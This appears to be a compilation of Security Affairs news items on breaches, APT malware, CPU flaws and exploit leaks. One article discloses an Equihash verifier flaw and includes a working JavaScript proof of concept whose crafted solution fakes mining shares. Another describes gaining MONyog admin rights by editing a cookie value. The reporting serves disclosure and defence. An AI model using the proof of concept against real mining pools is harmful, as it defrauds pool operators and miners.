suggests that Olympic Destroyer is currently used by several threat actors, both nation-state actors and cybercrime gangs., Another scenario sees a foreign government that may have hired a crime gang to power the attack, or that the financial-focused attacks could be a false flag planted to make hard the attribution., “It’s possible that in this case we have observed a reconnaissance stage that will be followed by a wave of destructive attacks with new motives. That is why it is important for all bio-chemical threat prevention and research companies and organizations in Europe to strengthen their security and run unscheduled security audits,” concluded Kaspersky Labs., “he variety of financial and non-financial targets could indicate that the same malware was used by several groups with different interests – i.e. a group primarily interested in financial gain through cybertheft and another group or groups looking for espionage targets. This could also be a result of cyberattack outsourcing, which is not uncommon among nation state actors. On the other hand, the financial targets might be another false flag operation by an actor who has already excelled at this during the Pyeongchang Olympics to redirect researchers’ attention.”, Pierluigi Paganini, (Security Affairs – Olympic Destroyer, malware)

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Users can define its platform search queries like Apache, IIS and so forth to gather targets to be attacked. After gathering the targets, the tool uses Metasploit modules of its exploit component to compromise the hosts., The Metasploit modules to be used will depend on the comparison of the name of the module and the query search. The developer also added a type of attack where all modules can be used at once. As the author noticed, Metasploit modules were added with the intent of enabling Remote Code Execution as well as gaining Reverse TCP Shell or Meterpreter Sessions., , There are different opinions about the release of the tool by experts. As noticed by Bob Noel, Director of Strategic Relationships and Marketing at Plixer:, “AutoSploit doesn’t introduce anything new in terms of malicious code or attack vectors. What it does present is an opportunity for those who are less technically adept to use this tool to cause substantial damage. Once initiated by a person, the script automates and couples the process of finding vulnerable devices and attacking them. The compromised devices can be used to hack Internet entities, mine cryptocurrencies, or be recruited into a botnet for DDoS attacks. The release of tools like these exponentially expands the threat landscape by allowing a wider group of hackers to launch global attacks at will”., On the other hand, Chris Roberts, chief security architect at Acalvio states: , ” The kids are not more dangerous. They already were dangerous. We’ve simply given them a newer, simpler, shinier way to exploit everything that’s broken. Maybe we should fix the ROOT problem”. , The recent revelation that adult sex toys can be accessed remotely by hackers using Shodan is a scenario where the tool can represent a great and grave danger., The risks and dangers looming around always existed. The release of the tool is not a new attack vector itself according to Gavin Millard, Technical Director at Tenable:, “Most organizations should have a process in place for measuring their cyber risk and identifying issues that could be easily leveraged by automated tools. For those that don’t, this would be an ideal time to understand where those exposures are and address them before a curious kid pops a web server and causes havoc with a couple of commands”., A recommendation is given by Jason Garbis, VP at Cyxtera: ” In order to protect themselves, organizations need to get a clear, accurate, and up-to-date picture of every service they expose to the Internet. Security teams must combine internal tools with external systems like Shodan to ensure they’re aware of all their points of exposure”., Sources:, About the author Luis Nakamoto, Luis Nakamoto is a Computer Science student of Cryptology and an enthusiastic of information security having participated in groups like Comissão Especial de Direito Digital e Compliance (OAB/SP) and CCBS (Consciência Cibernética Brasil) as a researcher in new technologies related to ethical hacking, forensics and reverse engineering. Also, a prolific and compulsive writer participating as a Redactor to Portal Tic from Sebrae Nacional., Pierluigi Paganini, (Security Affairs – Metasploit, hacking)

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Hackers are raising the bar, one of the most popular Antivirus firms BitDefender has been hacked and data belonging to its customer have been leaked online., The data breach highlighted serious security issues in the way the company managed customer’s data, the incident for sure will have a serious impact on the reputation of the company., A hacker, who uses the online pseudonymous DetoxRansome, has violated a server of the BitDefender company that hosted the cloud-based management dashboards for its small and medium-sized business clients. The company is currently working with law enforcement to investigate the issue., The hackers exposed a list of credentials for more than 250 BitDefender accounts, as reported by the HackerFilm., “Bitdefender, the critical darling in internet security, appears to have been hacked and is now embroiled in a dangerous extortion plot that’s putting its over 400 million customers at risk.   Friday July 24th 2015: A Hacker going by the handle DetoxRansome (DR) first attempted to blackmail the company via Twitter, writing “I want 15,000 us dollars or I leak your customer base”. This message was then followed by a tweet containing login credentials for two Bit Defender staff members’ accounts and another one belonging to a customer.” reported the HackerFilm., The hacker has compromised users’ credentials, and the worst news is that the login details were in plain text., , The company has admitted the data breach, it also added that the hackers haven’t penetrated the company network, but they likely exploited a security hole that “potentially enabled exposure of a few user accounts and passwords.”, This means that the incident affected a limited number of users, the attacker exploited a SQL injection vulnerability in order to access users’ data., Who is behind the attack?, The attack appears to be financially-motivated, the hackers are threatening to release the leaked data publicly unless the ransom of $15,000 is paid by BitDefender., , Of course, Bitdefender refused to pay the ransom and immediately worked to identify and fix the flaw exploited by the hackers., “The issue was immediately resolved, and additional security measures have been put in place to prevent its reoccurrence,” BitDefender spokesperson said in a statement. “Our investigation revealed no other server or services were impacted.”, DetoxRansome confirmed that he is currently infiltrating networks of Bitdefender customers., “I’m sniffing one of their major servers stealing logins”, The news could not be confirmed at the time I was writing, Bit Defender is resetting customers’ passwords., Stay tuned …, Pierluigi Paganini, (Security Affairs – Bitdefender,  data breach)

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After analysis, they found out the attacked equihash mining pools are using a vulnerable equihash verifier, (equihashverify : to verify miners’ shares., There is a logic vulnerability in this verifier, so attacker can easily fake mining shares which can bypass the equihash solution verifier without using so much computing power., This vulnerability has a wide impact because the verifier (equihashverify) is previously used by the Zcash official open source mining pool (node-stratum-pool), and many new cryptocurrencies which use equihash as PoW algorithm are forked from this pool., Equihash is a memory-oriented Proof-of-Work algorithm developed by the University of Luxembourg’s Interdisciplinary Centre for Security, Reliability and Trust (SnT)., The cryptocurrency ZCash integrated Equihash in April 2016, for reasons such as security, privacy, and ASIC miner resistance., According to the CryptoLUX scientists, the algorithm permits avoiding centralization of the mining process in the hands of a few first-class miners with specialized mining hardware, thus contributing to the “democratization” of digital currencies based on Equihash., , Running Equihash will use quite a lot of memory which means how much you can mine depends on the volume of your computing memory. This makes it impossible to customize a low-cost mining hardware in a short time., The vulnerability in this report is not a vulnerability of Equihash, but a vulneranility of the implementation of Equihash solution verifier. Here is the detail:, In file equi.c, we can find the function bool verifyEH(const char *hdr, const char *soln). The parameter hdr stands for the blockheader and the parameter soln={x1,x2,…,x512} stands for the user summited solution for Equihash., The algorithm computes:, The next step is to check if all the returned values in Vhash are zeros. If they all equal to zero, return true., If not, return false. It seems to be feasible; however, things are different in reality because there are multiple vulnerabilities in the algorithm., The simplest one is that the function does not check whether xi is duplicated. So, if the attacker provides a solution with {x1=1,x2=1,x3=1,…,x512=1}, then he can bypass the equihash verifier for any blockheader., Node-stratum-pool has changed the dependency of Equihashverify to a zencash official equihashverify ( However, many other smaller cryptocurrencies and mining pools haven’t updated their dependencies yet. Attacks are happening in the wild, so please update yours in time., The simple POCs are following:, var ev = require(‘bindings’)(‘equihashverify.node’);, header = Buffer(‘0400000008e9694cc2120ec1b5733cc12687b609058eec4f7046a521ad1d1e3049b400003e7420ed6f40659de0305ef9b7ec037f4380ed9848bc1c015691c90aa16ff3930000000000000000000000000000000000000000000000000000000000000000c9310d5874e0001f000000000000000000000000000000010b000000000000000000000000000040’, ‘hex’);, soln = Buffer(‘0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f’, ‘hex’);, console.log(ev.verify(header, soln));, About the author: 360 Core Security, Original post:, Pierluigi Paganini, (Security Affairs – Cryptocurrencies, hacking equihash mining pools), ,

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Almost every modern processor is vulnerable to the ‘memory leaking’ flaws, this has emerged from technical analysis triggered after the announcement of vulnerabilities in Intel Chips., White hackers from Google Project Zero have disclosed the vulnerabilities that potentially impact all major CPUs, including the ones manufactured by AMD, ARM, and Intel., The expert devised two attacks dubbed Meltdown (CVE-2017-5754) and Spectre (CVE-2017-5753 and CVE-2017-5715), which could be conducted to sensitive data processed by the CPU., Both attacks leverage the “speculative execution” technique used by most modern CPUs to optimize performance., “A processor can execute past a branch without knowing whether it will be taken or where its target is, therefore executing instructions before it is known whether they should be executed. If this speculation turns out to have been incorrect, the CPU can discard the resulting state without architectural effects and continue execution on the correct execution path. Instructions do not retire before it is known that they are on the correct execution path.” reads the description of ‘speculative execution’ provided by Google hackers., The experts explained that it is possible for this speculative execution to have side effects which are not restored when the CPU state is unwound and can lead to information disclosure., , The Meltdown Attack, The Meltdown attack could allow attackers to read the entire physical memory of the target machines stealing credentials, personal information, and more., “Meltdown is a related microarchitectural attack which exploits out-of-order execution in order to leak the target’s physical memory.” reads the paper on the Spectre attack., “Meltdown exploits a privilege escalation vulnerability specific to Intel processors, due to which speculatively executed instructions can bypass memory protection.”, The Meltdown exploits the speculative execution to breach the isolation between user applications and the operating system, in this way any application can access all system memory., Almost any computer is currently vulnerable to Meltdown attack., The Spectre Attack, The Spectre attack allows user-mode applications to extract information from other processes running on the same system. It can also be exploited to extract information from its own process via code, for example, a malicious JavaScript can be used to extract login cookies for other sites from the browser’s memory., The Spectre attack breaks the isolation between different applications, allowing to leak information from the kernel to user programs, as well as from virtualization hypervisors to guest systems. The Spectre attack works on almost every system, including desktops, laptops, cloud servers, as well as smartphones., “In addition to violating process isolation boundaries using native code, Spectre attacks can also be used to violate browser sandboxing, by mounting them via portable JavaScript code. We wrote a JavaScript program that successfully reads data from the address space of the browser process running it.” continues the paper., “KAISER patch, which has been widely applied as a mitigation to the Meltdown attack, does not protect against Spectre.”, The main vendors have rushed to provide security patches to protect their systems from these attacks.,  , Pierluigi Paganini, (Security Affairs – Meltdown and Spectre attacks, CPU)

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The best news of the week with Security Affairs., First of all let me inform you that at the #infosec16 SecurityAffairs was awarded as The Best European Personal Security Blog THANK YOU!, Email address: Hurry up, subscribe to the newsletter, next Sunday you will receive all the news directly in your inbox.I desire to inform you that Security Affairs is now open to sponsored content. I’ll offer the opportunity to: •    Insert banners of various sizes in all the posts on Security Affairs. •    Publish sponsored posts written by the customers that can include any kind of commercial reference. •    Arrange a monthly/quarterly/annual campaign (for big customers) to advertise customers’ activities and discoveries. For more info contact me at pierluigi.paganini@securityaffairs.co Thanks for supporting Security Affairs., mc4wp_form id=”42321″, , Once again thank you!, Pierluigi Paganini, (Security Affairs – Newsletter)

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The Russian APT group known as Turla (also known as Waterbug, KRYPTON and Venomous Bear) has continued to improve its Carbon backdoor, experts from ESET detected new versions released on a regular basis., Carbon is a second-stage backdoor that is used after an initial reconnaissance phase of an attack, it involves malware such as Tavdig., The Turla’s arsenal is composed of sophisticated hacking tools and malware tracked as Turla (Snake and Uroburos rootkit), Epic Turla (Wipbot and Tavdig) and Gloog Turla. In June 2016, researchers from Kaspersky reported that the Turla APT had started using Icedcoffee, a JavaScript payload delivered via macro-enabled Office documents., Last time the researchers reported Turla‘s activities was February 2017, when experts at Kaspersky Lab have discovered a new piece of JavaScript malware linked to the group targeting organizations in Greece, Qatar, and Romania., Turla has been active since at least 2007, the hackers launched several high-profile attacks against targets worldwide, including the ones aimed at Swiss defense firm RUAG and the U.S. Central Command., Carbon, aka Pfinet, is once of the tool in the arsenal of the hacking crew, researchers from ESET described it as a lite version of Uroburos., Carbon is a second-stage backdoor that is typically deployed after the reconnaissance phase of an attack, it has several components, including a dropper, a command and control (C&C) communications element, an orchestrator, and a loader that executes the orchestrator., The orchestrator is used to inject the C&C communications library into a legitimate process, and dispatch the tasks received via the C&C library to other bots that are located on the network., , ESET has identified several versions of Carbon compiled last year; the most recent one was compilated on October 21, 2016. The newer versions of the Carbon malware make a massive use of encryption., Almost any component is a DLL file, except for the loader, which is an EXE file., “The Turla group is known to be painstaking and work in stages, first doing reconnaissance on their victims’ systems before deploying their most sophisticated tools such as Carbon. , A classic Carbon compromise chain starts with a user receiving a spearphishing email or visiting a previously compromised website, typically one that the user visits regularly — a technique known as a watering hole attack.” reads the analysis shared by ESET., “After a successful attack, a first stage backdoor — such as Tavdig or Skipper — is installed on the user machine. Once the reconnaissance phase is over, a second stage backdoor, like Carbon, is installed on key systems.”, Threat actor behind Turla have modified their tools everytime they were detected in the wild. Researchers observed that in the case of Carbon, the hackers changed file names and mutexes in the version 3.8 released in the summer of 2016., Experts noticed that before the malware start communicating with C&C, it checks the infected system for the presence of packet capture software, such as Wireshark and Tcpdump., “Before communicating with the C&C server or with other computers, the malware ensures that none of the most common packet capture software is running on the system:, Stay Tuned …, Pierluigi Paganini, (Security Affairs – Turla APT group, cyber espionage)

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It’s not a mystery, China is within those countries that most of all are investing to improve cyber capabilities and strengthen its leadership in the cyber space. According to state media broadcasters Chinese Government will continue to invest to reinforce cyber security of software used inside the country. The Government of Beijing aim to conduct the “world’s largest military seeks to shore up potential technological weaknesses” as explained by the Reuters agency in a blog post. Information security is a primary goal for the Government which intend to sustain the development of autochthonous software that makes indipendent the country from Western companies that could support cyber strategies of  their governmenys. , “Information security must be considered an underlying project in military battle preparedness,” the official People’s Liberation Army Daily said. “We will strongly advance the domestic and independent building of programs, and strengthen the foundations of our information security,” it added., The recent revelations on the surveillance activities conducted by the Five Eyes, in particular by the NSA, and on the alleged support offered by private foreign companies is causing a significant reduction of sales within the China for products with high technological content and manufactured in the west. The Chinese Government afraid the presence of backdoor and any other implants used by foreign governments to spy on internal affairs, cyber espionage is major concerns for the Government of Beijing., State media are particularly critical with the aggressive and invasive US cyber strategy revealed by documents disclosed by contractor Edward Snowden over the last year., , China and US anyway continuosly exchange mutual accusation of espionage, on monthly bases we read about new APTs groups, discovered by Western security firms, which conduct hacking campaign against networks and systems worldwide., In May the US grand jury indicted five PLA military officers on charges they hacked into American organizations for intellectual property, of course the Chinese government has dedined any charges., A few days ago, The FBI chief reported to CBS television’s “60 Minutes” program China topped the list of countries seeking to syphon sensitive data from US companies, highlighting that also SMBs are daily targeted by the foreign hackers., “There are two kinds of big companies in the United States,” Comey said. “There are those who’ve been hacked by the Chinese, and those who don’t know they’ve been hacked by the Chinese.” Annual losses from cyber-attacks launched from China were “impossible to count,” Comey said, but measured in “billions.”, Welcome in the cyber era!, Pierluigi Paganini, (Security Affairs –  China, cyber warfare)

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It’s not a mystery, every state despite the spending review on the military budget is continuing to reserve consistent investment in cyber security, in particular majority of states is pushing research and development activities on both defense and offense cyber capabilities., US is one of the most advanced country in cyber warfare, the US Government was one of the first to recognize the importance of operations in the cyberspace and the necessity to consider it as the fifth domain of warfare., Since now the estimations on US expenses in cyber operations were estimates of the leading experts in the field but for the first time The Pentagon has detailed $30 million in spending on Air Force cyber attack operations and new Army funding., With the public disclosure of the budget for cyber operations US, in particular the Defense Department, desires to provide to national taxpayer’s evidence of effort spent in what is being considered a critical component of the modern military., The public opinion is dedicating even more wide space to news related cyber security and to the risks related to a cyber attack against critical infrastructures of a country, the government with the announcement desire to inform his population on its network assault programs and of course to launch a warning to those who intend to attack the country from cyber space., The Pentagon revealed the intent to constitute and fund new staff dedicated to offensive cyber operations for the  exploitation of opponent networks and infrastructures., This week is circulated the document titled “Fiscal Year (FY) 2014 Budget Estimates – OPERATION AND MAINTENANCE, AIR FORCE” to explain how US intends to invest the money, lets’ go to analyze in detail the amount of money reserved by the US Administration., The Air Force in fiscal 2014 will reserve $19.7 million on “offensive cyber operations,” the expense will support operative cyber operations, personnel training and research and development activities.  In cyber warfare scenario a crucial role is played by cyber tools used to exploit opponent’s structures so US estimate needing $9.8 million for development of new cyber tools to use in cyber operations., The Pentagon proposed also the hiring of new personnel, 65 units, to dedicate to the cyber missions, the mission assigned to Cyber Command is critical because it is responsible to deflect incoming assaults from cyber space against critical infrastructures of the country., Of course part of the funds will be dedicated to Defense Cyber Operations to protect data and infrastructures of the country from cyber attacks, sabotage and cyber espionage., Following a portion of the “Summary of funding Increases and Decreases” related to the “cyber commitment”:, Transfers In, , Transfers Out,  , , Nextgov portal reported the US government chose to divulge this information “because cyber offense will be a standard line item from now on and the public needs to understand what it is paying for.”, To those taxpayers that as justification for the investments in cyberspace while defense budget is under cutting Air Force spokesman Maj. Eric Badger replied:, “We are committed to maintaining the right balance of integrated cyber capabilities and forces that are organized, equipped and trained to successfully conduct operations in cyberspace. We’re equally as committed to doing so in a way that’s respectful of the taxpayers’ dollar,”, “We know the Air Force’s capabilities in cyber are going to continue to be touchstones for the whole joint team, the whole of government and for the private sector,” the official added., According Nextgov further $4.9 million will be dedicated to the development of “computer network exploitation” and “computer network attack” capabilities., Of course no shortage of controversy for military spending, analysts accused the government of excessive and duplicated hacking investments. Todd Harrison, senior fellow for defense budget studies at the Center for Strategic and Budgetary Assessments accuses the dispersion in cyber attack spending to fund different commands within US army:, “Do we really want each service going off and developing their own capabilities for these threats?” questioned “How much redundancy are we building across the services in the areas of cyber? What is unique to the Army?” “Maybe it’s time to give Cyber Command more budget authority,” Harrison said., Other military experts said the services might be giving away these details to ward off potential foes on the Internet., I will not go into the merits of the distribution of spending and allocation of responsibilities for operations in cyberspace, but I believe that investment in cyber security is crucial for the cyber strategy of each country … Probably the funds allocated are still too small compared to the need for cyber security., Pierluigi Paganini, (Security Affairs – Cyber warfare)

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The security researcher and penetration tester Mutail Mohamed (@muleyl) discovered a vulnerability in the MONyog, the most secure and scalable MySQL monitoring tool of the server monitoring tool., The application URL is  and the affected version is MONyog Ultimate 6.63., The flaw resides in the session management on Monyog application, it could be exploited by a normal user to elevate his privilege access by altering the session., , The exploitation of the flaw is very simple, the user just has to change the perimeters in the cookie store at that session., The value associated with a normal user is 0, attackers can change it to 1 to gain admin privileges., The researcher demonstrated that is to elevate privileges by manipulating the value of the following Cookie parameters;, The hack will allow the user to create roles, view the passwords stored in the setup and change other settings via the admin section., Below a video PoC of the exploitation of the flaw., , Pierluigi Paganini, (Security Affairs – MONyog, hacking)

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A couple of malicious apps targeting Brazilian Android users were recently found in the official Google Play by experts at Kaspersky Lab. The malicious apps targeted mobile banking users using an appearance similar to the one of the legitimate banking apps, while the first app was published on October 31th and registered 80 installations, the second one was published on November 10th and had only 1 installation., “This week we spotted the first Trojan banker targeting Brazilian users of Android devices. Two malicious applications meant to pass for apps from local Banks were hosted on Google Play.” reported the security researcher Fabio Assolini in a blog post., As explained by the researchers the news isn’t surprising, more than 6 million Brazilians currently use mobile banking services and the Brazil is the country with the highest number of infections related banking industry in Q3 as reported in the Q3 threat evolution report issued by Kaspersky., “Brazil remained the country where users are most often attacked by banking malware, even if its share was down one third. Russia stayed in second place. Italy dropped to 4th position while Germany rose to 3rd place: the number of attacked users in this country grew by 1.5 times.”, , The criminal crew that published the malicious apps on the Google Play store is using the name “Governo Federal” (Federal Government), , The malicious apps are very simple, they were designed just to steal login credentials in a classic phishing scheme, Brazilian mobile banking users result particularly exposed to the attack so due to the lack of a strong authentication (i.e. two-factor authentication) for banking app., The attackers used a free platform to create the malicious apps, ‘App Inventor’, which doesn’t require any particular skill to create a mobile application, but the results are an app big in size as explained in the post:, “To create the malicious app, the (lazy) bad guy decided to use “App Inventor”: a free platform that allows anyone to create their own mobile Android application, no technical knowledge required. The result is an app big in size and full of useless code. But both apps had the function to load the logos of the targeted Banks and open a frame – the phishing page programmed to capture the user’s credentials.” said the post. “The phishing pages of the targeted Banks were hosted on a hacked website. A good soul removed them and inserted an alert to the visitors stating: “Este é um aplicativo Falso, denuncie este app”, meaning “This is a fake app, please report it”. As a result, when the user downloads, installs and opens the fake banking app, this message is displayed inside, instead of the original phishing page”, The Kaspersky Lab team has already reported  both apps to Google that promptly removed them from the official Play Store., Both malicious apps are detected as Trojan-Banker.AndroidOS.Binv.a and security experts have no doubts regarding the fact that cyber criminals will continue to explore official channels to spread malicious code., A good starting point would be to implement a two-factor authentication for sensitive applications such as banking software., Pierluigi Paganini, (Security Affairs –  Bazil, banking malicious apps)

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PayPal confirmed that one of the companies it owns, TIO Networks, suffered a security breach, hackers have accessed servers that stored information for 1.6 million customers., The company TIO Networks was recently acquired by PayPal for $238 million, it is a Canadian firm that runs a network of over 60,000 utility and bills payment kiosks across North America., On November 10, PayPal suspended the operations of TIO’s network due to the discovery of “security vulnerabilities” affecting the TIO platform and issues with TIO’s data security programme that does not follow PayPal’s security standards., “While we apologise for any inconvenience this suspension of services may cause, the security of TIO’s systems and the protection of TIO’s customers are our highest priorities.” said TIO Networks. , “We are working with the appropriate authorities to safeguard TIO customers.”, “The PayPal platform is not impacted by this situation in any way and PayPal’s customers’ data remains secure., “Our investigation is ongoing. We will communicate with TIO customers and merchant partners directly as soon as we have more details. Customer updates will also be posted at www.tio.com.”, The Canadian firm disclosed the data breach, but did not provide any other details., , On Friday, December 1, PayPal published a press release that includes more details on the hack., “PayPal Holdings, Inc. (Nasdaq: PYPL) today announced an update on the suspension of operations of TIO Networks (TIO), a publicly traded payment processor PayPal acquired in July 2017. A review of TIO’s network has identified a potential compromise of personally identifiable information for approximately 1.6 million customers.” reads the press release., “The PayPal platform is not impacted in any way, as the TIO systems are completely separate from the PayPal network, and PayPal’s customers’ data remains secure.”, PayPal confirmed that the attackers stole the personal information of both TIO customers and customers of TIO billers, but it avoided to disclose what type of information the hackers compromised., Likely attackers accessed personally-identifiable information (PII) and financial details., PayPal is notifying affected customers of the data breach and is offering free credit monitoring memberships., The customers of TIO Networks can visit the TIO Networks website for more information on the data breach., “TIO has also begun working with the companies it services to notify potentially affected individuals, and PayPal is working with a consumer credit reporting agency to provide free credit monitoring memberships. Individuals who are affected will be contacted directly and receive instructions to sign up for monitoring.” continue the Press Release., Pierluigi Paganini , (Security Affairs – TIO Networks, data breach)

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The best news of the week with Security Affairs., Let me inform you that my new book, “Digging in the Deep Web” is online with a special deal, Kindle Edition, Paper Copy, , Once again thank you!,  , Pierluigi Paganini, (Security Affairs – Newsletter)

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The activity of the Lazarus Group (aka Hidden Cobra) surged in 2014 and 2015, its members used mostly custom-tailored malware in their attacks and experts that investigated on the crew consider it highly sophisticated., This threat actor has been active since at least 2009, possibly as early as 2007, and it was involved in both cyber espionage campaigns and sabotage activities aimed to destroy data and disrupt systems.  Security researchers discovered that North Korean Lazarus APT group was behind attacks on banks, including the Bangladesh cyber heist., Now security experts from ESET uncovered a cyber attack against an online casino in Central America and on other targets, in all the assaults hackers used similar hacking tools, including the dreaded KillDisk disk-wiper., The experts found several backdoors and a simple command line tool that was designed to inject into/kill processes, terminate/reinstall services, and drop/remove files., Most of the tools were specifically designed to run as a Windows service and require administrator privileges for their execution., ESET detailed a TCP backdoor dubbed Win64/NukeSped, a console application that is installed in the system as a service., The backdoor implements a set of 20 commands whose functionality is similar to previously analyzed Lazarus samples., “Win64/NukeSped.W is a console application that is installed in the system as a service. One of the initial execution steps is dynamically resolving the required DLL names, on the stack:” states the analysis published by ESET., “Likewise, procedure names of Windows APIs are constructed dynamically. In this particular sample, they are visible in plaintext; in other past samples that we’ve analyzed they were base64-encoded, encrypted or resolved on the stack character by character”, , The backdoor allows attackers to gather information on the system, create processes, search for files, drop files on the infected systems, and inject code into processes, including Explorer., Researchers from ESET also detailed session hijacker, dubbed Win64/NukeSped.AB, that is a console application capable of creating a process as another currently–logged-in user on the target system., The session hijacker was spotted in the attack against the casino, researchers at ESET believe it is the same malware used in the attacks against Polish banks and Mexican entities., ESET pointed out that at least two variants of the KillDisk malware were used in the attack that appear not linked to past wiper-based attacks, like the ones that hit Ukraine in December 2015 and December 2016., “KillDisk is a generic detection name that ESET uses for destructive malware with disk wiping capabilities, such as damaging boot sectors and overwriting then deleting (system) files, followed by a reboot to render the machine unusable.” continues the report., “Sub-family variants that do have strong code similarities, are sometimes seen separate cyberattacks and thus can help us make connections, as here. Other cases, for example the directed cyberattacks against high-value targets in Ukraine in December 2015 and December 2016, also employed KillDisk malware, but those samples were from different KillDisk sub-families, so are most likely unrelated to these attacks.”, According to ESET, more than 100 machines belonging to the Central American online casino were infected with the two variants of Win32/KillDisk.NBO., It is still unclear if the attackers used the KillDisk wiper to cover the tracks of an espionage campaign, or if the malicious code was used in an extortion schema or sabotage., The presence of the KillDisk wipers and various Lazarus-linked malware suggests that the APT group was responsible for the attack., Experts also found that both variants present many similarities with the ones that previously targeted financial organizations in Latin America., The attackers also used the Mimikatz tool to extract Windows credentials, a tool designed to recover passwords from major web browsers, malicious droppers and loaders to download and execute their tools onto the victim systems., The hackers leveraged Radmin 3 and LogMeIn as remote access tools., “This recent attack against an online casino in Central America suggests that hacking tools from the Lazarus toolset are recompiled with every attack (we didn’t see these exact samples anywhere else).” concluded ESET., “The attack itself was very complex, consisted of several steps, and involved tens of protected tools that, being stand-alone, would reveal little from their dynamics.” , Pierluigi Paganini, (Security Affairs – Lazarus APT, North Korea), ,

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Following the recent hack of the popular surveillance firm Hacking Team, the experts started the analysis of the material leaked online by the attackers. The package leaked online include also a number of exploits used by the company to compromise targeted systems by exploiting flaws in Adobe Flash ad Internet Explorer applications., The researchers discovered at least three different software exploits, two designed to hack Adobe Flash Player and one for Microsoft’s Windows kernel. In particular the “Use-after-free vulnerability”, coded as CVE-2015-0349 has already been patched., “The information dump includes at least three exploits – two for Flash Player and one for the Windows kernel. One of the Flash Player vulnerabilities, CVE-2015-0349, has already been patched.” states the post published by Trend Micro., The experts at the Hacking Team described the second Flash Player exploit as “the most beautiful Flash bug for the last four years,” it still has no CVE associated., ,  , Another disconcerting discovery made by principal security firms, is the inclusion of the Adobe Flash zero-day (CVE-2015-5119) exploit with several exploit kits available in the criminal underground. The malware researchers at Trend Micro have discovered evidence of the Adobe Flash zero-day (CVE-2015-5119) exploit being used in a number of exploit kits before the vulnerability was publicly revealed in this week’s data breach on the spyware company. To avoid problems, apply urgently the patch provided by Adobe., The attackers used the Flash zero-day exploits to cause a system crash and take full control of the infected systems. According to the researchers at Trend Micro this particular zero-day exploit was used in cyber attacks on South Korea and Japan., , “In late June, we learned that a user in Korea was the attempted target of various exploits, including CVE-2014-0497, a Flash vulnerability discovered last year. Traffic logs indicate the user may have received spear phishing emails with attached documents. These documents contained a URL for the user to visit; this URL led to a site hosted in the United States which contained a Flash exploit, detected as SWF_EXPLOYT.YYKI. This particular exploit targets the zero-day Adobe vulnerability that was disclosed during the Hacking Team leak. We noticed that this exploit was downloaded to the user’s machine several times in a week.”  wrote Trend Micro., “We also found that other users had also visited the domain that hosted the exploit code. While many of these users were also in Korea, one of them was located in Japan. This activity started as early as June 22. We cannot confirm that they too were the subject of exploit attempts, but this is likely.”, According to the researchers, the zero-day exploit, about which the rest of the world got access on Monday, was apparently used in limited cyber attacks on South Korea and Japan. The researchers confirmed that the zero-day exploit code they analyzed was very similar to the exploit code included in the HAcking Team Package., This circumstance suggests that the attackers had access to the hacking tools offered by the Hacking Team firm., “We believe this attack was generated by Hacking Team’s attack package and code.” states Trend Micro., Pierluigi Paganini, (Security Affairs – Hacking Team, zero-day), adrotate banner=”13″,  

